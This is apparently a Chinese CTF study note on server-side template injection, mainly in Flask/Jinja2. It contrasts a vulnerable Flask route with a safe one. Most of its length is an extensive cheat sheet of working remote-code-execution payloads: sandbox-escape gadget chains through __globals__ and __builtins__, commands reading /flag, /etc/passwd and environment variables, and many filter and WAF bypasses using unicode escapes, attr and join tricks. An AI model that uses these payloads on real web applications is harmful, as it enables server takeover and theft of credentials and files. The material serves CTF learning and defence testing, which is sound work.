| Smarty | PHP | 老牌 PHP 模版。 Payload: {$smarty.version} 可以看版本。 |
| Spring (SpEL) | Java | 严格来说是表达式注入。 Payload: ${T(java.lang.Runtime).getRuntime().exec('calc')}。 |
| Thymeleaf | Java | 常见于 Spring Boot,通常注入点在 URL 路径或参数中。 Payload 类似 #{7*7}。 |
<%= >
| 模版引擎 | 语言 | 核心信息 |
|---|---|---|
| EJS | Node.js | 全称 Embedded JavaScript,是 Node.js 生态常用的模版引擎。 • Payload: <%= 7*7 %> → 输出49;・攻击方式:可利用 global.process执行系统命令。 |
| ERB | Ruby | 全称 Embedded Ruby,是 Ruby 生态的经典模版引擎。 • Payload: <%= 7*7 %> → 输出49;・攻击方式:通过 <%= system('ls') %>执行系统命令(如ls)。 |
#{ }
| 模版引擎 | 语言 | 核心特点与 Payload 说明 |
|---|---|---|
| Pug (Jade) | Node.js | 是 Node.js 生态的模版引擎,语法高度依赖缩进(缩进错误会导致解析失败)。 • Payload: #{ 7*7 } → 输出49。 |
| Mako | Python | 是 Python 生态的小众模版引擎,语法混合了多种符号风格。 • Payload: ${ 7*7 } → 可用于测试其解析规则。 |
{8.}Flask模板注入漏洞
漏洞原理
模板引擎对用户输入的不当处理,导致攻击者能够注入恶意的模板语法,被服务端模板引擎解析并执行,从而实现对服务器的攻击
易受攻击的后端
使用了render_template_string 且配合了“字符串拼接”
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')def index(): # 获取用户输入 user_input = request.args.get('name', 'Guest')
# 危险操作:直接拼接字符串! # 如果 user_input 是 {{ 7*7 }},Jinja2 会将其解析为 49 template = 'Hello, %s' % user_input
return render_template_string(template)安全示例:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')def safe_index(): user_input = request.args.get('name', 'Guest')
# 安全操作:使用参数传递 # Jinja2 会将 user_input 视为纯文本渲染,不会执行其中的逻辑 return render_template_string('Hello, {{ name }}', name=user_input)安全原因:代码执行的顺序=》定义结构 -> 传入数据 -> 渲染 使Jinja2引擎先拿到数据,把{{ }}当作纯文本填入,然后渲染,而不进行执行计算
不能直接__import__(‘os’).system(”)的原因
——》Jinja2的沙箱环境 Jinja2不是直接运行 Python 代码,它有自己的变量作用域和上下文。 在Jinja2的{{ }}内部,只能访问 1.“ 模板上下文中明确传递进来的变量 ”,2.“ Jinja2 默认提供的一些过滤器和函数 ”,3.“ 基础的 Python 对象类型(字符串、列表、字典等)”。 而__import__并不是Jinja2上下文默认提供的函数,所有直接调用会报错
不能直接调用,而我们绕过Jinja2的沙箱限制去调用的这个过程就是就是所谓的沙箱逃逸
Flask payload
对于Flaskpayload的构造已在3.攻击链中讲明,不再做过多的赘述
不同版本的 Python 能不能用一样的 Payload
几乎不能,尤其是基于索引的 Payload
- 原因:1. python环境,2和3的内置类数量和加载逻辑完全不同 2. 应用环境,import了不同的库,内存中存在的类数量和顺序就会变化 3. 启动顺序,甚至同样的依赖,不同的加载顺序都可能导致索引位移
{9.}ez_payload速查
1. 通杀 Payload (无视索引,自动寻找)
适用于绝大多数 Python SSTI 环境,只要能用 Jinja2 语法。
{{ [x for x in ().__class__.__base__.__subclasses__() if 'catch_warnings' in x.__name__][0].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()") }}2. Flask 极速 Payload (利用 url_for)
适用于确定是 Flask 框架的情况。
{{ url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()") }}3. 配置读取 Payload (偷懒专用)
有时候 Flag 就在配置文件里,不需要 RCE 也能拿。
{{ config }}4. 读文件 Payload (不执行命令)
如果
os,system,popen都被禁用了,尝试直接读文件。
{{ ().__class__.__base__.__subclasses__()[40].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}# 注意:[40] 需要换成 <class 'file'> 或 <class '_io.FileIO'> 的实际索引一些RCE的payload
config
config # 获取配置config.__init__.__globals__.__builtins__.eval # rceconfig.from_envvar.__globals__.__builtins__.eval # rceconfig.from_pyfile.__globals__.__builtins__.eval # rceconfig.from_object.__globals__.__builtins__.eval # rceconfig.from_json.__globals__.__builtins__.eval # rceconfig.from_mapping.__globals__.__builtins__.eval # rceconfig.get_namespace.__globals__.__builtins__.eval # rceconfig.__repr__.__globals__.__builtins__.eval # rceconfig.__class__.__init__.__globals__['os'].popen('cat /flag').read()session
session.on_update.__globals__.__builtins__.eval # rcesession.pop.__globals__.__builtins__.eval # rcesession.clear.__globals__.__builtins__.eval # rcesession.update.__globals__.__builtins__.eval # rcesession.popitem.__globals__.__builtins__.eval # rcesession.setdefault.__globals__.__builtins__.eval # rcesession.__init__.__globals__.__builtins__.eval # rcesession.__setitem__.__globals__.__builtins__.eval # rcesession.__delitem__.__globals__.__builtins__.eval # rcesession.popitem.__globals__.__builtins__.eval # rcesession.__repr__.__globals__.__builtins__.eval # rcerequest
request._load_form_data.__globals__.builtins__.eval # rcerequest.__init__.__globals__.builtins__.eval # rcerequest.environ.['werkzeug.server.shutdown'].__globals__.builtins__.eval # rcerequest.__repr__.__globals__.__builtins__.eval # rcerequest.args.__copy__.__globals__.__builtins__.eval # rcerequest.form.__copy__.__globals__.__builtins__.eval # rcerequest.cookie.__add__.__globals__.__builtins__.eval # rce(有一大堆噢,就不列出来了)# 等等self
self.__init__.__globals__.builtins__.eval # rceself.__getitem__.__globals__.builtins__.eval # rceself.__repr__.__globals__.builtins__.eval # rceself._TemplateReference__context.lipsum.__globals__.builtins__.eval # rceself._TemplateReference__context.get_flashed_messages.__globals__.builtins__.eval # rceself._TemplateReference__context.url_for.__globals__.builtins__.eval # rceself._TemplateReference__context ## 这玩意所有全局的玩意都能拿到# 等等url_for
url_for.__globals__.__builtins__.eval # rcelipsum
lipsum.__globals__.__builtins__.eval # rcecycler
cycler.__init__.__globals__.__builtins__.eval # rcecycler.reset.__globals__.__builtins__.eval # rcecycler.current.__globals__.__builtins__.eval # rcecycler.next.__globals__.__builtins__.eval # rcecycler.__next__.__globals__.__builtins__.eval # rcejoiner
joiner.__init__.__globals__.__builtins__.eval # rcejoiner.__call__.__globals__.__builtins__.eval # rceg
g.__class__.get.__globals__.__builtins__.eval # rceg.__class__.pop.__globals__.__builtins__.eval # rceg.__class__.setdefault.__globals__.__builtins__.eval # rceg.__class__.__contains__.__globals__.__builtins__.eval # rceg.__class__.__iter__.__globals__.__builtins__.eval # rceg.__class____repr__.__globals__.__builtins__.eval # rcenamespace
namespace.__init__.__globals__.__builtins__.eval # rcenamespace.__getattribute__.__globals__.__builtins__.eval # rcenamespace.__setitem__.__globals__.__builtins__.eval # rcenamespace.__repr__.__globals__.__builtins__.eval # rceget_flashed_messages
get_flashed_messages.__globals__.__builtins__.eval # rceundefined
morouu.__class__.__init__.__globals__.__builtins__.eval # rcemorouu.__class__._fail_with_undefined_error.__globals__.__builtins__.eval # rcemorouu.__class__.__getattr__.__globals__.__builtins__.eval # rcemorouu.__class__.__ne__.__globals__.__builtins__.eval # rce(还是有一大堆)# 等等原始payload
python2
# 获取__builtins__## {}型{}.__class__.__subclasses__()[1].keys.__globals__.__builtins__{}.__class__.__subclasses__()[1].pop.__globals__.__builtins__{}.__class__.__subclasses__()[1].viewkeys.__globals__.__builtins__{}.__class__.__subclasses__()[1].copy.__globals__.__builtins__{}.__class__.__subclasses__()[1].viewitems.__globals__.__builtins__{}.__class__.__subclasses__()[1].setdefault.__globals__.__builtins__{}.__class__.__subclasses__()[1].viewvalues.__globals__.__builtins__{}.__class__.__subclasses__()[1].items.__globals__.__builtins__{}.__class__.__subclasses__()[1].values.__globals__.__builtins__{}.__class__.__subclasses__()[1].iterkeys.__globals__.__builtins__{}.__class__.__subclasses__()[1].itervalues.__globals__.__builtins__{}.__class__.__subclasses__()[2].subtract.__globals__.__builtins__{}.__class__.__subclasses__()[2].elements.__globals__.__builtins__{}.__class__.__subclasses__()[2].copy.__globals__.__builtins__{}.__class__.__subclasses__()[2].fromkeys.__globals__.__builtins__{}.__class__.__subclasses__()[4].get.__globals__.__builtins__{}.__class__.__subclasses__()[5].copy.__globals__.__builtins__dict.__subclasses__()[?].??? #这个和上边的一样## ''/""型# 无!## 整数型# 无!## []型[].__class__.__subclasses__()[0].__repr__.__globals__.__builtins__ # 被迫带下划线# 获取configself._TemplateReference__context.config# 获取requestself._TemplateReference__context.request## 剩下的就靠老式的payload了。python3
# 获取__builtins__## {}型{}.__class__.__subclasses__()[2].update.__globals__.__builtins__{}.__class__.__subclasses__()[2].elements.__globals__.__builtins__{}.__class__.__subclasses__()[2].subtract.__globals__.__builtins__{}.__class__.__subclasses__()[2].copy.__globals__.__builtins__{}.__class__.__subclasses__()[2].fromkeys.__globals__.__builtins__{}.__class__.__subclasses__()[6].get.__globals__.__builtins__{}.__class__.__subclasses__()[7].copy.__globals__.__builtins__{}.__class__.__subclasses__()[6].get.__globals__.__builtins__dict.__subclasses__()[?].??? #这个和上边的一样## ''/""型''.__class__.__subclasses__()[0].join.__globals__.__builtins__''.__class__.__subclasses__()[0].rsplit.__globals__.__builtins__''.__class__.__subclasses__()[0].splitlines.__globals__.__builtins__''.__class__.__subclasses__()[0].unescape.__globals__.__builtins__''.__class__.__subclasses__()[0].striptags.__globals__.__builtins__''.__class__.__subclasses__()[0].capitalize.__globals__.__builtins__''.__class__.__subclasses__()[0].title.__globals__.__builtins__''.__class__.__subclasses__()[0].lower.__globals__.__builtins__''.__class__.__subclasses__()[0].upper.__globals__.__builtins__''.__class__.__subclasses__()[0].ljust.__globals__.__builtins__''.__class__.__subclasses__()[0].replace.__globals__.__builtins__''.__class__.__subclasses__()[0].lstrip.__globals__.__builtins__''.__class__.__subclasses__()[0].rstrip.__globals__.__builtins__''.__class__.__subclasses__()[0].center.__globals__.__builtins__''.__class__.__subclasses__()[0].strip.__globals__.__builtins__''.__class__.__subclasses__()[0].translate.__globals__.__builtins__''.__class__.__subclasses__()[0].expandtabs.__globals__.__builtins__''.__class__.__subclasses__()[0].swapcase.__globals__.__builtins__''.__class__.__subclasses__()[0].zfill.__globals__.__builtins__''.__class__.__subclasses__()[0].partition.__globals__.__builtins__''.__class__.__subclasses__()[0].rpartition.__globals__.__builtins__''.__class__.__subclasses__()[0].format.__globals__.__builtins__## 整数型0.__class__.__subclasses__()[-1].Close.__globals__.__builtins__## []型[].__class__.__subclasses__()[1].format.__globals__.__builtins__[].__class__.__subclasses__()[2].push.__globals__.__builtins__[].__class__.__subclasses__()[2].pop.__globals__.__builtins__[].__class__.__subclasses__()[2].reset.__globals__.__builtins__# 获取configself._TemplateReference__context.config# 获取requestself._TemplateReference__context.request## 其他的老式payload没必要记了啦(又臭又长 ╮(╯▽╰)╭属性获取
''.__class__''['__class__']''|attr('__class__')''.__getattribute__('__class__')字符拼接
'm'+'o''m'~'o'('m','o')|join['m','o']|join{'m':a,'o':a}|joindict(m=a,o=a)|join获取数字
{}|int # 0(not{})|int # 1((not{})|int+(not{})|int) # 2((not{})|int+(not{})|int)**((not{})|int+(not{})|int) # 4((not{})|int,(not{})|int)|sum # 2# ......((not{})|int,{}|int)|join|int # 10(-(not{})|int,{}|int)|join|int #10'aaxaaa'.index('x') # 2((),())|count/length # 2((),())|length # 2在python3中也可以用一些 unicode 字符来获取数字,比如以下是 0~9 的表示
-
٠١٢٣٤٥٦٧٨٩
-
𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫
-
𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡 -
𝟬𝟭𝟮𝟯𝟰𝟱𝟲𝟳𝟴𝟵
-
𝟶𝟷𝟸𝟹𝟺𝟻𝟼𝟽𝟾
获取字符
unicode字符
https://unicode-table.com/cn/sets/superscript-and-subscript-letters/
一些绕过方式
morouu|select|string> 无himpquvwzdict(morouu=a)|joinmorouu.__doc__config/session/request ... |string'%c'%(97)> a(morouu|select|string|urlencode|list|first~dict(c=a)|join)|format(97)> arequest.args.morouu&morouu=[Any] # 这个还可从其他方式传入参数单一过滤
引号
#-字符--# 第一种{%set t=lipsum.__globals__.__builtins__ %}{{t.eval(t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx))}}
# 第二种{{lipsum.__globals__.__builtins__.eval(request.args.a)}}&a=xx
# 第三种{%set ch=(morouu|select|string|urlencode|list|first~dict(c=a)|join)%}{{lipsum.__globals__.__builtins__.eval(ch|format(nn)+ch|format(nn)+ch|format(nn)+ch|format(nn))}}
# 第四种{%set _=dict(_=a)|join%}> 任意变量名{%set c=dict(c=a)|join%}> 任意变量名# ...{%set left=(morouu|attr(dict(__doc__=a)|join)|list)[171]%}> 左括号({%set right=(morouu|attr(dict(__doc__=a)|join)|list)[182]%}> 右括号 ){%set dy=(morouu|attr(dict(__doc__=a)|join)|list)[177]%}> 单引号 '{%set lx=(config.APPLICATION_ROOT|list)[0]%}> 左斜杠 /{%set dd=(morouu.__doc__|list)[26]%}> 点 .{%set dh=(morouu.__doc__|list)[85]%}> 逗号 .{{lipsum.__globals__builtins__.eval(xx)}}
# ...... 总之各种拼接就好了{{ 或 }}
# 使用 {% %} 结构即可{%print(lipsum.__globals__.__builtins__.eval(xxx))%}+
# 可以使用以下方式进行字符拼接# 第一种'a'~'b'
# 第二种['a','b']|join('a','b')|join{'a':a,'b':a}|join
# 第三种dict(a=a,b=b)|join.
# 也就是无法进行属性获取# 第一种[]|attr('__class__')
# 第二种[]['__class__']
# 第三种[]|attr('__getattribute__')('__class__')[]
# 过滤了列表啥的# 第一种({}.__class__.__mro__|list).pop(nn)
# 第二种{}.__class__.__mro__.__getitem__(nn)
# 第三种{%for v in {}.__class__.__mro__%} {%if {}.__class__.__mro__.index(v) == 1%} {%print(v)%} {%endif%}{%endfor%}_
# 过滤下划线啥的# 第一种{}|attr("\137\137class\137\137"){}|attr("\x5f\x5fclass\x5f\x5f"){}["\x5f\x5fclass\x5f\x5f"]{}|attr('\x5f\x5fgetattribute\x5f\x5f')("\x5f\x5fclass\x5f\x5f")
# 第二种{}|attr(request.args.a)&a=__class__
# 第三种{}|attr(({}|select|string|list)[27]~({}|select|string|list)[27]~'class'~({}|select|string|list)[27]~({}|select|string|list)[27])组合过滤
引号+数字
#-数字--# 第一种()|count # 0(())|count # 1((),())|count # 2 ...
# 第二种{%set iz=(dict(_=a)|join).index(dict(_=a)|join)%} # 0{%set ia=(dict(a_=a)|join).index(dict(_=a)|join)%} # 1{%set ib=(dict(aa_=a)|join).index(dict(_=a)|join)%} # 2 ...
# 第三种{%set iz={}|int%} # 0{%set ia=(not{})|int%} # 1{%set ib=((not{})|int+(not{})|int)%} # 2{%set ic=((not{})|int,(not{})|int,(not{})|int)|sum%} # 3{%set ixx=((not{})|int,(not{})|int,{}|int)|join|int%} # 100 ...
# 第四种{}|count # 0{a:a}|count # 1{{}|count:a,a:a}|count # 2{{}|count:a,{a:a}|count:a,a:a}|count #3 ...{%set ia={a:a}|count%}{%set iz={}|count%}{%set ix={ia:a,iz:a}|join|int%} # 10{%set ia={a:a}|count%}{%set iz={}|count%}{%set ix={ia:a,iz:a}|join|int%}{%set ixx={ix:a,iz:a}|join|int%} # 100 ...
# 第五种{%set iz={}|int%} # 0{%set ia=not{}%}{%set ia=ia|int%} # 1 ...下面的和第一种相似{%set ia=not{}%}{%set ia=ia|int%}{%set iz={}|int%}{%set ix={ia:a,iz:a}|join|int%} # 10{%set ia=not{}%}{%set ia=ia|int%}{%set ia=not{}%}{%set ia=ia|int%}{%set ix={ia:a,iz:a}|join|int%}{%set ixx={ix:a,iz:a}|join|int%} # 100 ...
#----#-字符--# 将需要数字的地方换成上边数字的拼接就好了。# 第一种{%set t=lipsum.__globals__.__builtins__ %}{{t.eval(t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx))}}
# 第二种{{lipsum.__globals__.__builtins__.eval(request.args.a)}}&a=xx
# 第三种{%set ch=(morouu|select|string|urlencode|list|first~dict(c=a)|join)%}{{lipsum.__globals__.__builtins__.eval(ch|format(nn)~ch|format(nn)~ch|format(nn)~ch|format(nn))}}
# 第四种{%set _=dict(_=a)|join%}> 任意变量名{%set c=dict(c=a)|join%}> 任意变量名# ...{%set left=(morouu|attr(dict(__doc__=a)|join)|list)[171]%}> 左括号({%set right=(morouu|attr(dict(__doc__=a)|join)|list)[182]%}> 右括号 ){%set dy=(morouu|attr(dict(__doc__=a)|join)|list)[177]%}> 单引号 '{%set lx=(config.APPLICATION_ROOT|list)[0]%}> 左斜杠 /{%set dd=(morouu.__doc__|list)[26]%}> 点 .{%set dh=(morouu.__doc__|list)[85]%}> 逗号 .{{lipsum.__globals__builtins__.eval(xx)}}
# ...... 总之各种拼接就好了
#----引号+数字+双花括号+(+-*/[]=.)
#-数字--# 第一种()|count # 0(())|count # 1((),())|count # 2 ...
# 第二种{}|count # 0{a:a}|count # 1{{}|count:a,a:a}|count # 2{{}|count:a,{a:a}|count:a,a:a}|count #3 ...{{a:a}|count:a,{}|count:a}|join|int # 10{{{a:a}|count:a,{}|count:a}|join|int:a,{}|count:a}|join|int # 100 ...
#----#-字符--# 第一种{}/config/session/request/self/lipsum/cycler/joiner/g/namespace|string|list|sort|trim|truncate(nn)|list|last> 用尽一切方式拼接字符
#----引号+数字+双花括号+全局函数/对象+(+-*/[]=.)
#-数字--# 第一种()|count # 0(())|count # 1((),())|count # 2 ...
# 第二种{}|count # 0{a:a}|count # 1{{}|count:a,a:a}|count # 2{{}|count:a,{a:a}|count:a,a:a}|count #3 ...{{a:a}|count:a,{}|count:a}|join|int # 10{{{a:a}|count:a,{}|count:a}|join|int:a,{}|count:a}|join|int # 100 ...
#----#-字符--# 第一种morouu|select|string|list|sort|trim|truncate(nn)|list|last> 可截取部分字符##然后用上边截取的字符拼接后去截取更多...
#----( 或 )
{10.}沙箱逃逸
对于沙箱的概念以及在7.Flask模板注入漏洞中进行了阐述,不再多说。
条件梳理
拥有的权利:访问传入的变量、基础数据类型(字符串、列表、字典)、Jinja2 自带的过滤器
被剥夺权利:没有 import 语句,无法直接调用 os、sys 等系统模块,没有 open() 函数等、
A.利用已导入的模块
- 核心思想寻找一个子类,它的代码里已经导入了os或subprocess模块。我们直接借用它的全局变量来执行命令
- 寻找目标:遍历
object.__subclasses__(),寻找像os._wrap_close、subprocess.Popen这样的类 - 路径:对象 -> 基类 -> 子类列表 ->
os._wrap_close->__init__->__globals__-> popen#就是找到是.__subclasses__()[]的哪一个子类 - 优点:路径短,缺点:非常依赖环境
B.找到__builtins__
- 核心思想:寻找一个子类,它没有直接导入os,但它的全局变量里包含
__builtins__。通过__builtins__,我们可以调用__import__函数,动态导入任何我们想要的模块。 - 寻找目标:经典的跳板是
warnings.catch_warnings(几乎所有 Web 环境都会加载它,且它包含了__builtins__) - 路径:对象 -> 基类 -> 子类列表 ->
warnings.catch_warnings->__init__->__globals__->__builtins__->__import__-> os -> popen - 优点:极度通用,威力最大。只要找到
__builtins__,你想干什么都行(读写文件、反弹Shell)缺点:payload较长
捷径
| 捷径对象 | 描述 | 利用方式 | Payload 示例 |
|---|---|---|---|
lipsum | Jinja2 内置生成随机占位文本的函数(属于 jinja2.utils 模块),不依赖 Flask 上下文,通用性极强 | 1. 替代 Flask 函数(如 url_for)作为 __globals__ 跳板;2. 无 Flask 环境也能调用,直接访问 Python 内置模块 | {{ lipsum.__globals__['os'].popen('id').read() }}{{ lipsum.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") }} |
cycler | Jinja2 循环辅助函数(用于循环中轮询值,如 cycler('red','blue')),属于 jinja2.utils 模块 | 1. 需先访问 __init__ 进入函数作用域;2. 绕过对 lipsum 的过滤时替代使用 | {{ cycler.__init__.__globals__.os.popen('id').read() }}{{ cycler.__init__.__globals__['sys'].version }} |
joiner | Jinja2 字符串连接辅助函数(默认用 ' ' 连接可迭代对象),属于 jinja2.utils 模块 | 1. 隐藏性更强(极少被过滤); 2. 用法同 cycler,需先访问 __init__ | {{ joiner.__init__.__globals__.os.popen('cat /etc/passwd').read() }}{{ joiner.__init__.__globals__['__builtins__']['open']('/flag').read() }} |
range | Python 原生生成数字序列函数(Jinja2 直接暴露为全局函数),无额外依赖 | 1. 无需访问 __init__,直接用 __globals__;2. 极基础函数,几乎不会被过滤 | {{ range.__globals__['os'].popen('uname -a').read() }}{{ range.__globals__['subprocess'].check_output(['ls','/']) }} |
dict | Python 原生生成字典函数(Jinja2 全局暴露),构造字典时的基础函数 | 1. 利用 __globals__ 访问全局作用域;2. 绕过对 range/lipsum 的过滤 | {{ dict.__globals__['os'].popen('env').read() }}{{ dict.__init__.__globals__['sys'].path }} |
list | 补充:Python 原生列表构造函数(Jinja2 全局暴露),同 dict 通用性 | 同 dict,作为兜底跳板 | {{ list.__globals__['os'].popen('pwd').read() }} |
string | 补充:Jinja2 暴露的字符串工具模块(非函数,直接访问) | 从模块属性反向找全局作用域 | {{ string.__dict__['__builtins__']['os'].popen('ps aux').read() }} |
在某些极其严格的环境下,Flask 的上下文变量(如 config, url_for)可能被删除了,但只要是 Jinja2 引擎,通常都会保留一些原生全局函数。 |
| 函数 | 作用与说明 |
|---|---|
range([start,] stop[, step]) | 返回一个整数算术级数列表。range(i, j) 返回 [i, i+1, ..., j-1];start 默认为 0,step 指定增量 / 减量。例: range(4) 和 range(0, 4, 1) 都返回 [0, 1, 2, 3]。 |
lipsum(n=5, html=True, min=20, max=100) | 生成用于布局测试的 lorem ipsum 文本。 默认生成 5 段 HTML 格式文本,每段字数 20–100。 若 html=False,返回纯文本。 |
dict(**items) | 字典的便捷创建方式。 例: dict(foo='bar') 等价于 {'foo': 'bar'}。 |
cycler(*items) | 循环生成传入的值,到达终点后自动重启。 |
current() | 返回当前项,等同于下次调用 next() 时会返回的值。 |
next() | 返回当前项,并将指针前进到下一项。 |
reset() | 将指针重置到第一项。 |
joiner(sep=', ') | 用于拼接多个部分的辅助工具。 首次调用返回空字符串,后续每次调用返回传入的分隔符 sep。 |
namespace(...) | 创建可通过 {% set %} 分配属性的容器。主要用于将循环内部的值传递到外部作用域。 初始值可通过字典或关键字参数传入,行为同 Python 的 dict 构造函数。 |
WAF绕过
1.过滤了点 . 和中括号 []
当不能使用 a.b 或 a['b'] 时:
|attr()过滤器:代替点号访问属性。"".__class__->""|attr("__class__")
.__getitem__方法:代替中括号获取键值。globals['os']->globals.__getitem__('os')
2.过滤了下划线 _
当不能输入 __class__ 这种关键字时:
- 利用
request.args传参:- Payload:
{{ ""|attr(request.args.c) }} - URL:
?c=__class__
- Payload:
- 原理:把敏感词放在 URL 参数里,模板里只引用参数名,从而绕过针对 Payload 文本的黑名单检测。
- unicode编码:
- 就是将_全都编码,然后其它顺序不变
- payload:
{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat /app/flag")|attr("read")()}}3. 过滤了关键字 (如 'os', 'popen')
当代码审计发现 'os' 被 ban 时:
- 字符串拼接:
['o'+'s'] - 字符串编码:
['\x6f\x73'] - 利用 format:
['{0}s'.format('o')] - 列表反转:
['so'[::-1]]
通用payload构造公式(可看可不看)
Step 1: 找基类 Standard: "".__class__.__base__
Step 2: 找子类 (Gadget) Scan: .__subclasses__() (实战中需配合脚本遍历索引,或使用列表推导式)
Step 3: 进全局 (Global) Entry: .__init__.__globals__
Step 4: 调函数 (Execute)
- 方法 A (直接有 os):
['popen']('command').read() - 方法 B (用 builtins):
['__builtins__']['eval']('__import__("os").popen("command").read()')
{11.}过滤器
什么是过滤器
在 Jinja2 中,变量可以通过“管道符” | 修改。 语法是:{{ 变量 | 过滤器名称(参数) }}。 本质上: 过滤器就是 Python 函数。 Jinja2 引擎在渲染时,会把管道符前面的对象作为第一个参数传给过滤器函数。
- 模板写法:
{{ name | upper }} - Python 等价逻辑:
upper(name)
SSTI 中的过滤器
在解题过程中,以下三个是核心,分别解决了“点号”、“引号”和“格式化”的问题。
① attr:属性访问器
- 作用: 获取对象的属性或方法。
- Python 原型:
getattr(obj, "name") - 为什么神? 它完美替代了点号
. - 对抗场景: 禁用
.时。
| 正常写法 (被拦截) | 过滤器写法 (绕过) | 逻辑解释 |
|---|---|---|
foo.bar | `foo | attr(“bar”)` |
foo.bar() | `foo | attr(“bar”)()` |
② join:连接器
- 作用: 将一个序列(列表、元组、字典的键)连接成一个字符串。
- Python 原型:
"".join(list) - 为什么神? 配合
dict使用,它可以无中生有地创造字符串,从而绕过单双引号限制。 - 对抗场景: 禁用
'和"时。 原理拆解:
- Jinja2 允许直接写
dict(key=value)来创建字典。 - Python 中迭代字典,默认迭代的是键(Key)。
join过滤器把这些键拼起来,就变成了字符串。
Django
dict(os=1) --> {'os': 1}dict(os=1)|join --> "os" (因为取的是键)③ format:格式化器
- 作用: 类似于 Python 的字符串格式化。
- Python 原型:
"string %s" % (val) - 为什么神? 当你需要拼接复杂字符串,但
+号被禁用时,或者需要构造特定字符(如%c)时使用。 Django
"%c%c%c"|format(99,97,116) --> "cat"其他辅助类过滤器 (用于数据提取)
当方括号 [] 被禁用,或者我们需要从列表/元组里拿特定元素时,这些过滤器非常有用。
first / last
- 作用: 取序列的第一个或最后一个元素。
- 替代:
list[0]和list[-1]。 - 场景: 比如
mro()返回一个列表,你想拿最后一个(通常是object)或第一个。"".__class__.__mro__ | last等同于"".__class__.__mro__[-1]
item (注意:这是部分环境/旧版才有,或指 map)
在标准 Jinja2 中没有 item 过滤器,通常我们用 getitem 魔术方法来替代。 但在某些变种或自定义环境中,可能会有类似 map 或 select 来筛选数据。
list
- 作用: 把对象强转为列表。
- 场景: 有些生成器或字典视图无法直接索引,先转成
|list再取|first。
length / count
- 作用: 返回长度。
- 场景: 盲注(Blind SSTI)。有时候你看不到回显,只能通过判断长度对不对来推测 Flag。
内建过滤器
| 过滤器 | 描述 |
|---|---|
abs(x, /) | 返回参数的绝对值. |
attr(obj, name) | 获取一个类的属性。foo|attr("bar") 和 foo.bar 一样,只会获取属性,而不会去获取项。 |
batch(value, linecount, fill_with=None) | 用于批处理项目的过滤器。它的工作原理和切片差不多,只是反过来而已。它返回一个包含给定数量的列表的列表。如果提供第二个参数,则该参数将用于填充缺少的项。 |
capitalize(s) | 将值的首字母变为大写。 |
center(value, width=80) | 将值在给定宽度中居中。 |
default(d)(value, default_value=”, boolean_=False_) | 如果该值未被定义,则输出默认设置的值。如果想在该值为false时输出默认设置的值时,得将第二个参数设置为True。 |
dictsort(value, case_sensitive=False, by=‘key’, reverse=False) | 对字典进行排序并生成(键、值)对。因为python字典是未排序的,你可使用这个函数来按键或值排序。 |
escape(e)(s) | 将值转换为安全的HTML字符。 |
filesizeformat(value, binary=False) | 将值格式化为“可读的”文件大小(例如13 kB, 4.1 MB, 102字节等)。使用默认的十进制前缀(Mega, Giga等),如果第二个参数设置为True,则使用二进制前缀(Mebi, Gibi)。 |
first(seq) | 返回第一项。 |
float(value, default=0.0) | 将该值转换为浮点数。如果转换不起作用,它将返回0.0。可以使用第一个参数覆盖这个默认值。 |
forceescape(value) | 执行HTML转义。 |
format(value, _*_args, **kwargs) | 将给定的值应用形如 ”printf“ 形式的格式化。 |
groupby(value, attribute) | 使用Python的itertools.groupby()按属性将一系列对象分组。该属性可以使用点表示法进行嵌套访问,如“address.city”。与Python的groupby不同,这些值是先排序的,因此对于每个惟一的值只返回一个组。groupby会产生(grouper, list)的命名元组,可以用它来代替解包的元组。grouper是属性的值,list是具有该值的项。 |
indent(s, width=4, first=False, blank=False) | 返回该值的复制,每行缩进4个空格。默认情况下,第一行和空行不缩进。 |
int(value, default=0, base=10) | 将值转换为整数。如果转换不起作用,它将返回0。可以使用第一个参数覆盖这个默认值。还可以在第二个参数中覆盖默认基数(10),该参数处理分别为基数2、8和16使用0b、0o和0x等前缀的输入。小数和非字符串值的基数将被忽略。 |
join(value, d=”, attribute=None) | 返回一个字符串,它是序列中字符串的拼接。元素之间的分隔符默认为空字符串,可以用可选参数定义它。同时也可以连接对象的某些属性。 |
last(seq) | 返回序列的最后一项,需要尽可能的对显式列表使用。 |
length(count)(obj, /) | 返回容器中的项数。 |
list(value) | 将值转换为列表。如果它是一个字符串,则返回的列表将是一个字符列表。 |
lower(s) | 将值转换为小写。 |
map(_*_args, **kwargs) | 对对象序列应用筛选器或查找属性。这在处理对象列表时很有用,但在实际应用上只对它的某个值感兴趣,基本用法是映射到属性上。如果列表中的对象没有给定的属性,可以指定要使用的默认值(attribute=,default=)。或者,您也可以通过传递过滤器的名称和参数来让它调用过滤器。 |
max(value, case_sensitive=False, attribute=None) | 返回序列中最大的项。 |
min(value, case_sensitive=False, attribute=None) | 返回序列中最小的项。 |
pprint(value) | 漂亮的打印一个变量。用于调试。 |
random(seq) | 从序列中返回一个随机项。 |
reject(_*_args, **kwargs) | 通过对每个对象应用测试来筛选对象序列,并在测试成功后拒绝对象。 |
rejectattr(*args, **kwargs) | 通过对每个对象的指定属性应用测试来筛选对象序列,并在测试成功后拒绝对象。 |
replace(s, old, new, count=None) | 返回该值的复制,并将所有出现的子字符串替换为新的子字符串。第一个参数是应该被替换的子字符串,第二个参数是替换字符串。如果给出了第三个可选参数,则只会替换指定次数。 |
reverse(value) | 反转对象或返回一个迭代器,该迭代器以相反的方式遍历对象。 |
round(value, precision_=0_, method=‘common’) | 把这个数字四舍五入到一定的精度。第一个参数指定精度(默认为0),第二个参数指定舍入方法(common,ceil,floor) |
safe(value) | 将该值标记为safe,这意味着在启用自动转义的环境中,该变量将不会被转义。 |
select(_*_args, **kwargs) | 通过对每个对象应用测试来筛选对象序列,并且只选择测试成功的对象。如果没有指定测试,则每个对象将被计算为一个布尔值。 |
